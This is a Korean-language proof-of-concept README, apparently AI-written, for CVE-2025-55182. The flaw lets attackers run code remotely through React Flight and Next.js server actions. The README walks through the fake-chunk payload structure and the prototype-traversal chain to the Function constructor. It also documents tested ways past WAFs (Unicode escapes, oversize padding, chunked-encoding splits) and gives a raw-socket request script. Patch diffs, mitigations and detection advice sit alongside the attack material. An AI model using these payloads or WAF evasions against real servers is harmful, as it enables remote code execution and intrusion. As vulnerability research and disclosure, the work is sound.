
CVE-2025-55182 POC
NOTE: Written by AI/Claude
https://github.com/ejpir/CVE-2025-55182-bypass
CVE-2025-55182는 React의 Flight Protocol에서 발생하는 심각한 RCE 취약점입니다. 공격 체인은 경로 탐색(path traversal) + 가짜 청크 삽입(fake chunk injection) + $B 핸들러 남용을 통해 Function(attacker_code)를 실행합니다.
작동하는 익스플로잇 체인을 제공한 maple3142님께 큰 감사를 드립니다!
익스플로잇은 세 개의 폼 필드를 사용하여 악성 페이로드를 구성합니다:
then 속성을 가진 가짜 청크 객체를 생성합니다 (필드 1 $@0 → 필드 0)_formData.get이 $1:constructor:constructor로 설정된 가짜 _response 를 포함시킵니다$B 핸들러를 트리거하여 response._formData.get(response._prefix + id)를 호출합니다_formData.get → Function을 찾아 Function(code)를 실행합니다┌─────────────────────────────────────────────────────────────────────┐ │ 1. Attacker sends multipart form with fake chunk object │ │ → decodeReply() parses form fields 0, 1, 2 │ │ → Object has: then, status, value, _response │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 2. Self-reference makes object thenable with real function │ │ → then: "$1:proto:then" → Chunk.prototype.then │ │ → Chunk.prototype.then(this) calls initializeModelChunk(this) │ │ → Uses this._response (attacker's fake _response) │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 3. parseModelString() handles "$B1337" reference │ │ → case "B": return response._formData.get(response._prefix+id) │ │ → Calls _formData.get with attacker's _prefix + "1337" │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 4. getOutlinedModel() resolves _formData.get (lazy evaluation): │ │ → "$1:constructor:constructor" traverses prototype chain │ │ → Returns Function constructor │ │ → Function(code + "1337") → RCE │ └─────────────────────────────────────────────────────────────────────┘
### 핵심 구성 요소
| 구성 요소 | 목적 |
|-----------|---------|
| `then: "$1:__proto__:then"` | 자기 참조적인 thenable; chunk 1 (`$@0`)이 chunk 0을 다시 가리킴 |
| `status: "resolved_model"` | 객체를 유효한 React chunk처럼 보이게 함 |
| `reason: -1` | rootReference를 undefined로 설정 (참조 충돌 방지) |
| `value: '{"then":"$B1337"}'` | `$B` 핸들러를 트리거하는 중첩 페이로드 |
| `_response._prefix` | RCE 코드 문자열을 포함함 |
| `_response._chunks: "$Q2"` | chunk 처리 중 충돌을 방지하기 위한 빈 Map |
| `_response._formData.get` | `$1:constructor:constructor`를 통해 `Function`을 가리킴 |
### 구성 요소 심층 분석
#### 폼 필드 구조
익스플로잇은 순환 참조가 있는 세 개의 폼 필드를 사용합니다:```
Field 0: {"then":"$1:__proto__:then", "status":"resolved_model", ...}
Field 1: "$@0" ← references back to field 0
Field 2: [] ← empty array for _chunks Map
then)then: "$1:__proto__:then"는 실제 함수로 해석되는 자기 참조를 생성합니다:```
$1:proto:then
↓
$1 → chunk 1 → "$@0" → getChunk(0) → Chunk object
↓
Chunk.proto.then → Chunk.prototype.then (actual function!)
**이것이 중요한 이유:**
1. `then`이 `Chunk.prototype.then`으로 해석됩니다. 이는 실제 호출 가능한 함수입니다.
2. 이로 인해 가짜 객체가 유효한 thenable이 됩니다.
3. await될 때, JS는 `obj.then(resolve, reject)`를 호출합니다.
4. `Chunk.prototype.then`이 가짜 객체를 `this`로 하여 실행됩니다:```javascript
Chunk.prototype.then = function (resolve, reject) {
switch (this.status) { // this.status = "resolved_model" ✓
case "resolved_model":
initializeModelChunk(this); // fake object passed!
initializeModelChunk(this)는 this._response를 사용합니다 - 공격자의 가짜 _response:```javascript
value = reviveModel(
chunk._response, // ← attacker's fake _response!
...
);**자기 참조 없이는**, 가짜 `_response`가 절대 사용되지 않습니다. 자기 참조는 `Chunk.prototype.then`이 공격자의 객체를 실제 Chunk로 취급하게 합니다.
#### 2단계 Thenable 트리거 (`value`)
`value` 필드에는 다른 thenable을 포함하는 중첩된 JSON 문자열이 포함됩니다:```json
{"then":"$B1337"}
단계 1: 외부 객체의 자기 참조 then이 청크 처리를 트리거합니다
단계 2: React가 모델을 해석할 때 value를 파싱하고 then: "$B1337"이라는 또 다른 thenable을 만납니다. $B 접두사가 핸들러를 트리거합니다:```javascript
case "B":
return response._formData.get(response._prefix + obj); // obj = "1337"
`_formData.get`는 `"$1:constructor:constructor"` → `getOutlinedModel()`이 `Function`으로 확인됩니다.
이는 `Function(code + "1337")` → 유효한 JS가 됩니다. 왜냐하면 `1337`은 단순한 후행 표현식이기 때문입니다.
#### 방어적 패딩 (`_chunks`)
가짜 `_response`에는 크래시를 방지하기 위해 유효한 `_chunks` 속성이 필요합니다.```
Form field "2": [] ← empty array
_chunks: "$Q2" ← $Q = Map type, creates new Map([])
React의 내부 코드는 처리 중에 response._chunks.get() 또는 response._chunks.has()에 접근할 수 있습니다. 빈 Map은 이러한 호출을 오류 없이 만족시켜, 취약한 $B 핸들러에 도달할 수 있도록 합니다.
decodeReply()는 진입점이며, 그 자체로 취약하지 않습니다.
경로 탐색 (getOutlinedModel()):```javascript
for (key = 1; key < reference.length; key++)
parentObject = parentObject[reference[key]]; // No validation!
**가짜 응답 사용법** (`initializeModelChunk()`):```javascript
value = reviveModel(
chunk._response, // Uses chunk._response directly!
{ "": rawModel },
...
);
$B 핸들러 RCE (parseModelString()):```javascript
case "B":
return response._formData.get(response._prefix + obj); // RCE!
---
## 수정 (19.2.1)
패치는 여러 수정 사항을 포함합니다:
1. **`RESPONSE_SYMBOL` in `initializeModelChunk()`** - 중요한 수정 ```javascript
// BEFORE: chunk._response (attacker can set via JSON)
value = reviveModel(chunk._response, ...);
// AFTER: Symbol lookup (cannot be forged via JSON)
var response = chunk.reason[RESPONSE_SYMBOL];
value = reviveModel(response, ...);
hasOwnProperty 확인 (getOutlinedModel() 내) - 프로토타입 순회 차단 ```javascript
hasOwnProperty.call(value, name) && (value = value[name]);
__proto__ handling in reviveModel() - 프로토타입 오염 방지 ```javascript
void 0 !== parentObj || "proto" === i
? (value[i] = parentObj)
: delete value[i];
initializeModelChunk()에서 타입 검사 - 리스너를 검증합니다 ```javascript
"function" === typeof listener
? listener(value)
: fulfillReference(response, listener, value);
| 기능 | 상태 | 비고 |
|---|---|---|
| 프로토타입 체인 탐색 | ✓ 확인됨 | $1:constructor:constructor 사용 |
react-server-dom-webpack: 19.0.0, 19.1.0, 19.1.1, 19.2.0react-server-dom-turbopack: 동일한 버전이 섹션에서는 전통적인 패턴 매칭 WAF 규칙이 이 익스플로잇을 안정적으로 탐지할 수 없는 이유를 설명합니다. 이러한 한계를 이해하는 것은 방어 태세를 평가하는 보안 팀에게 필수적입니다.
익스플로잇 페이로드는 각각 다른 인코딩 지원을 가진 여러 파서를 통과합니다. 원시 HTTP 바이트를 검사하는 WAF는 인코딩된 문자열을 보지만, 서버는 처리 전에 이를 디코딩합니다:
| 계층 | 파서 | 디코딩 |
|---|---|---|
| JSON 구조 | JSON.parse() |
이는 근본적인 불일치를 만듭니다: WAF는 인코딩된 바이트를 보지만, 애플리케이션은 디코딩된 문자열을 봅니다.
단순한 WAF는 constructor, __proto__, resolved_model 또는 child_process 같은 패턴을 찾을 수 있습니다. 그러나 JSON은 모든 문자에 대해 유니코드 이스케이프를 허용합니다:
페이로드 내의 JavaScript 코드는 훨씬 더 많은 인코딩 옵션을 가집니다:
| 패턴 |
|---|
모든 인코딩 기술이 결합되면:
\u0074\u0068\u0065\u006e for then)S(99,104,105,108,100,95,...) for child_process)HTTP 본문을 스캔하는 WAF는 이스케이프 시퀀스와 숫자만 볼 뿐, 전통적인 공격 서명과 일치하는 것은 없습니다.
Next-Action 헤더는 Server Action 요청을 식별합니다. 헤더 이름은 유니코드로 인코딩될 수 없지만 (RFC 7230은 ASCII 토큰을 요구), WAF와 서버 간의 정규화 차이가 탐지 격차를 만듭니다:
| 변형 | 서버 동작 | WAF 위험 |
|---|
패치 적용이 유일한 신뢰할 수 있는 완화 방법입니다. 인코딩 유연성으로 인해 WAF 규칙은 이 공격을 포괄적으로 차단할 수 없습니다.
필요한 버전:
패치가 지연되는 경우, 다음을 고려하세요:
\uXXXX, \xXX를 디코딩하고 fromCharCode() 호출을 정규화해야 합니다_response, _prefix, _chunks 또는 순환 참조($@0)를 포함하는 JSON 구조를 찾으세요next-action 헤더를 대소문자 구분 없이 공백을 제거하여 일치시키세요Next-Action 헤더가 있는 요청을 완전히 차단하세요Function() 호출에 대해 경고를 설정하세요핵심 요점: 패턴 일치만으로는 이러한 종류의 공격을 막을 수 없습니다. 인코딩 표면이 너무 넓어 열거할 수 없습니다.
포괄적인 WAF 규칙이 있더라도 AWS WAF는 악용될 수 있는 본문 검사 크기 제한이 있습니다. 이 섹션에서는 과도하게 큰 페이로드를 사용한 테스트된 우회 기술을 문서화합니다.
| 백엔드 | 기본 제한 | 최대 구성 가능 |
|---|---|---|
| ALB / AppSync | 8 KB | 8 KB |
| CloudFront / API Gateway | 16 KB | 64 KB |
| Amazon Cognito / App Runner | 16 KB | 64 KB |
OversizeHandling 문제WAF 규칙은 검사 한계를 초과하는 요청을 처리하는 방법을 지정합니다:
WAF 규칙이 OversizeHandling: CONTINUE(일반 기본값)를 사용하는 경우, 우회는 간단합니다.
익스플로잇 페이로드 앞에 무해한 패딩 데이터를 배치하여 검사 창 밖에 위치하도록 합니다:``` ┌─────────────────────────────────────────────────────────────────┐ │ Multipart Form Body │ ├─────────────────────────────────────────────────────────────────┤ │ [Field: padding] 65KB of 'A' characters │ │ ↑ WAF inspects first 8-64KB (sees only this) │ ├─────────────────────────────────────────────────────────────────┤ │ [Field: 0] {"then":"$1:proto:then", ...} │ │ [Field: 1] "$@0" │ │ [Field: 2] [] │ │ ↑ Exploit payload - beyond WAF inspection limit │ └─────────────────────────────────────────────────────────────────┘
### 테스트 결과
모든 대형 페이로드가 Next.js에서 성공적으로 RCE를 달성했습니다.
| 패딩 크기 | 총 본문 크기 | 익스플로잇 오프셋 | 결과 |
|--------------|------------|----------------|--------|
| 0 KB | 0.6 KB | 0.4 KB | ✅ RCE |
| 8 KB | 8.6 KB | 8.4 KB | ✅ RCE |
| 16 KB | 16.6 KB | 16.5 KB | ✅ RCE |
| 32 KB | 32.6 KB | 32.5 KB | ✅ RCE |
| 64 KB | 64.6 KB | 64.5 KB | ✅ RCE |
| 128 KB | 128.6 KB | 128.5 KB | ✅ RCE |
### 청크 전송 인코딩 우회
HTTP/1.1 청크 전송 인코딩은 본문을 개별 청크로 분할합니다. WAF가 **재조립 전**에 청크를 검사한다면, 청크 경계를 넘어서는 패턴은 일치하지 않습니다.
#### 작동 방식```
HTTP Request with Transfer-Encoding: chunked
17f\r\n ← Chunk 1 size (hex)
...Content-Disposition: form-data; name="1"\r\n\r\n"$
\r\n
7b\r\n ← Chunk 2 size (hex)
@0"\r\n------WebKitFormBoundary...
\r\n
0\r\n\r\n ← Terminator
청크 간 분할 패턴:``` Chunk 1 ends with: ..."$ ← WAF sees "$" alone (no match for $@) Chunk 2 starts with: @0"... ← WAF sees "@" alone (no match for $@)
#### 테스트된 청킹 전략
| 전략 | 설명 | 결과 |
|----------|-------------|--------|
| `$@`에서 분할 | `"$` \| `@0"` | ✅ RCE |
| 10바이트 조각 | 본문을 10바이트마다 분할 | ✅ RCE |
| 5바이트 조각 | 본문을 5바이트마다 분할 | ✅ RCE |
| `status`에서 분할 | `sta` \| `tus` | ✅ RCE |
모든 전략이 성공적으로 RCE를 달성했습니다 - Next.js가 청크 요청을 올바르게 재조립합니다.
#### 원시 소켓 예시```javascript
const net = require('net');
const socket = new net.Socket();
socket.connect(3000, 'localhost', () => {
// Headers with chunked encoding
socket.write([
'POST / HTTP/1.1',
'Host: localhost:3000',
'Content-Type: multipart/form-data; boundary=----WebKit',
'Transfer-Encoding: chunked',
'Next-Action: test',
'', ''
].join('\r\n'));
// Chunk 1: everything up to and including "$
const chunk1 = '...payload ending with "$';
socket.write(`${chunk1.length.toString(16)}\r\n${chunk1}\r\n`);
// Chunk 2: "@0" and rest of payload
const chunk2 = '@0"\r\n...rest of payload';
socket.write(`${chunk2.length.toString(16)}\r\n${chunk2}\r\n`);
// Terminator
socket.write('0\r\n\r\n');
});
참고: AWS WAF는 일반적으로 청크된 본문을 검사 전에 재조합합니다. 그러나 환경에 따라 설정이 다를 수 있으므로 각 환경에서 확인해야 합니다.
OversizeHandling을 MATCH로 변경 ```json
"OversizeHandling": "MATCH"
이 규칙 조건이 충족되면 검사 한도를 초과하는 모든 요청을 차단합니다.
본문 검사 한도 증가 (CloudFront/API Gateway 전용) 웹 ACL 설정에서 최대 64KB까지 구성할 수 있지만, 이는 우회를 완전히 방지하지는 않습니다.
크기 기반 차단 규칙 추가
합리적인 크기(예: 10KB)를 초과하는 Next-Action 헤더가 있는 POST 요청을 차단합니다.
애플리케이션 패치 - 유일한 완전한 해결책입니다.
포함된 테스트 스크립트를 참조하세요:
test-simple.cjs - 기본 비청크 페이로드 테스트test-oversize.cjs - 0~128KB까지 패딩 크기 테스트test-chunked-v2.cjs - $@ 분할을 사용한 청크 전송 인코딩test-chunked-bypass.cjs - 다양한 청킹 전략 (5바이트, 10바이트, 패턴 분할)사용법:```bash
cd nextjs-test && npm run dev
node test-simple.cjs # Baseline node test-oversize.cjs # Oversize body bypass node test-chunked-v2.cjs # Chunked $@ split node test-chunked-bypass.cjs # All chunking strategies
---
## 연구 여정
### 취약점: 경로 탐색```javascript
function getOutlinedModel(response, reference, parentObject, key, map) {
reference = reference.split(":");
var id = parseInt(reference[0], 16);
var parentObject = response.chunks[id];
// PATH TRAVERSAL - no hasOwnProperty check!
for (var key = 1; key < reference.length; key++)
parentObject = parentObject[reference[key]]; // VULNERABLE!
return map(response, parentObject);
}
With payload "$1:constructor:constructor":
chunk[1]["constructor"] → [Function: Object]Object["constructor"] → [Function: Function]Function을 얻었지만, RCE를 달성하려면 제어된 인자로 호출해야 합니다. 다음 경로들은 실패했습니다:
1. Thenable 경로 (차단됨)```javascript // Attempt: { then: Function } // When awaited, V8 calls: Function(resolve, reject) // resolve.toString() = "function () { [native code] }" // Result: SyntaxError - invalid parameter name
**2. decodeAction Path (Blocked)**```javascript
// decodeAction always appends formData:
// Function.bind(null, "code").bind(null, formData)()
// = Function("code", "[object FormData]")
// Result: SyntaxError - "[object FormData]" is not valid JS body
3. 이터레이터 경로 (차단됨)```javascript // Function.bind(null, code) needs TWO calls to execute // React only calls iterator once // Result: Returns bound function, doesn't execute
### 돌파구
maple3142가 빠진 조각을 찾았습니다: `$B` 핸들러 + 가짜 `_response` 체인. `then`이 자기 참조를 통해 `Chunk.prototype.then`으로 해석되도록 함으로써, 가짜 `_response`가 사용되어 RCE가 가능해집니다.
---
## 주요 발견
1. **`getOutlinedModel()` 취약점은 실제입니다** - 콜론으로 구분된 경로가 프로토타입 체인 탐색을 허용합니다
2. **Function 생성자에 접근 가능** - `$1:constructor:constructor`가 serverManifest 없이 작동합니다
3. **RCE가 가능합니다** - 제어 가능한 `_response`로 가짜 청크를 제작하여:
- 자기 참조 `$1:__proto__:then` → `Chunk.prototype.then`이 가짜 `_response`가 사용되도록 만듭니다
- 가짜 청크 구조가 React의 내부 Chunk 클래스를 모방합니다
- `_response._formData.get` → `Function` 생성자
- `_response._prefix` → 악성 코드 문자열
- `$B` 핸들러가 `Function(악성 코드)`를 트리거합니다
4. **수정 사항은 포괄적입니다** - 여러 `hasOwnProperty` 검사와 유형 검증
---
## 참고 자료
- [maple3142의 Gist](https://gist.github.com/maple3142) - RCE 체인 발견
- [React 보안 권고](https://github.com/facebook/react/security/advisories)
- [Next.js CVE-2025-66478](https://nextjs.org/blog/cve-2025-66478)
- [msanft PoC](https://github.com/msanft/CVE-2025-55182)
- [react2shell.com](https://react2shell.com)
- [AWS WAF 규칙](https://aws.amazon.com/security/security-bulletins/AWS-2025-030/)
---
## 면책 조항
이 저장소는 **교육 및 방어적 보안 연구 목적으로만** 제공됩니다. 취약점은 패치되었습니다. 즉시 종속성을 업그레이드하세요.
| 경로 | 함수 | 공격에서의 목적 |
|---|
| 경로 탐색 | getOutlinedModel() | $1:constructor:constructor → Function 확인 |
가짜 _response 주입 | initializeModelChunk() | 공격자의 chunk._response 사용 |
$B 핸들러 | parseModelString() | _formData.get(_prefix + id) 호출 → RCE |
| Function 생성자 접근 |
| ✓ 확인됨 |
| 매니페스트 불필요 |
| 완전한 RCE | ✓ 확인됨 | 가짜 청크 + $B 핸들러 사용 |
\uXXXX 유니코드 이스케이프 |
| JavaScript 코드 | Function() 생성자 | \uXXXX, \xXX, 8진법, fromCharCode() |
| 리터럴 패턴 | 유니코드 동등 | WAF 탐지 |
|---|
constructor | \u0063onstructor | 우회됨 |
__proto__ | \u005f\u005fproto\u005f\u005f | 우회됨 |
resolved_model | \u0072esolved_model | 우회됨 |
$@ (순환 참조) | $\u0040 | 우회됨 |
| 인코딩 옵션 |
|---|
process | \u0070rocess, String.fromCharCode(112,114,111,99,101,115,115) |
child_process | \x63hild_process, 숫자 문자 코드, base64 |
| 모든 식별자 | 대괄호 표기법: this[S(112,114,...)] (여기서 S=String.fromCharCode) |
next-action (소문자) | 허용됨 (HTTP는 대소문자 구분 안 함) | WAF가 정확한 대소문자를 기대하면 놓침 |
Next-Action:\tx (탭) | 허용됨 (공백 정규화) | WAF가 공백을 기대하면 놓침 |
Next-Action: x (공백) | 허용됨 | 정규화 없으면 놓침 |
| 설정 | 동작 | 악용 가능? |
|---|
CONTINUE | 사용 가능한 바이트 검사, 규칙 평가 | 예 - 제한 이후 페이로드는 검사되지 않음 |
MATCH | 일치로 간주 (차단) | 아니오 - 초과 요청 차단 |
NO_MATCH | 불일치로 간주 | 예 - 통과 |
| WAF 유형 | 청크 처리 방식 | 우회 가능 여부 |
|---|
| AWS WAF (ALB) | 검사 전 재조합 | 낮음 |
| AWS WAF (CloudFront) | 검사 전 재조합 | 낮음 |
| 일부 레거시 WAF | 청크별 검사 | 예 |
| Nginx ModSecurity | 설정 가능 | 설정에 따라 다름 |